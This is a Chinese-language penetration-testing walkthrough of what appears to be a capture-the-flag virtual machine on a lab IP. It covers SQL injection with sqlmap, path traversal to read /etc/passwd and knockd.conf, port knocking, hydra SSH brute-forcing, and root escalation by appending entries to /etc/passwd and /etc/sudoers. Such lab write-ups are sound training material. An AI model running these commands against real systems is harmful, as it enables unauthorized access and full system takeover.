1.信息收集

扫描主机

sudo arp-scan -l

扫描端口,发现只有80端口

nmap -p- 192.168.42.150

扫描80开放的服务

nmap -p 80 -A -V 192.168.42.150

2.漏洞发掘

访问主页面

发现有查找功能,猜测此处有sql注入漏洞

测试sql注入漏洞

‘ or 1=1#

获取成功,存在注入漏洞,开始利用

bp开始抓包,跑sqlmap

跑出了admin的账号和密码

密码明显长度不太对,猜测为md5加密,在网上在线破解,得到密码

admin登录,开始逛街

发现下面提示,猜测有文件包含漏洞(目录穿越)

不放心可以多敲几个../

?file=../../../../../../../../../etc/passwd

因为前面我们只扫描到80端口,22没有扫到,那只有两种情况,一种22没有开放,一种有knockd服务,

该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

如果开启了knockd服务,那么会存在一个配置文件/etc/knockd.conf,该配置文件中保存着需要访问的端口顺序。我们可以通过文件包含漏洞查看该配置文件

?file=/etc/knockd.conf

根据配置文件,依次访问三个端口,再次扫描,发现22端口开放

knock 192.168.42.150 7469 8475 9842

因为之前sqlmap跑出了三个数据库,我们看看另一个内容

发现一堆账号密码,尝试ssh爆破

九头蛇爆破,发现3个账号,只有janitor有东西

hybra -L 账号. txt -P 密码.txt ssh://192.168.42.150

3.横向渗透

ssh连接

ssh janitor@192.168.42.150

ls发现没文件,ls -al查看隐藏文件,发现新的密码本

重新爆破密码,发现新的账号

fredf B4-Tru3-001

4.提升权限

常规查看权限

sudo -l

尝试执行,返回错误,找到test.py,查看代码

find / -name test.py 2>/dev/null

发现代码作用需要两个文件,把第一文件追加到第二个文件后

4.1构造用户行,写入/etc/passwd

openssl生成密码,前一个xihe为账号,后一个为要加密的密码,

openssl passwd -1 -salt xihe xihe

生成的密码

$1$xihe$UAMCUAzSxt0fZHIag4Ryi1

把密码写入一个文件中,使用该脚本,追加成功

echo写不进去,用vi写

切换用户 su ,提权成功

4.2构造权限行,写入/etc/sudoers

fredf用户为root,不需要任何密码

fredf ALL=(root) NOPASSWD:ALL

echo "fredf ALL=(root) NOPASSWD:ALL" > 3.txt
sudo /opt/devstuff/dist/test/test 3.txt /etc/sudoers

sudo su root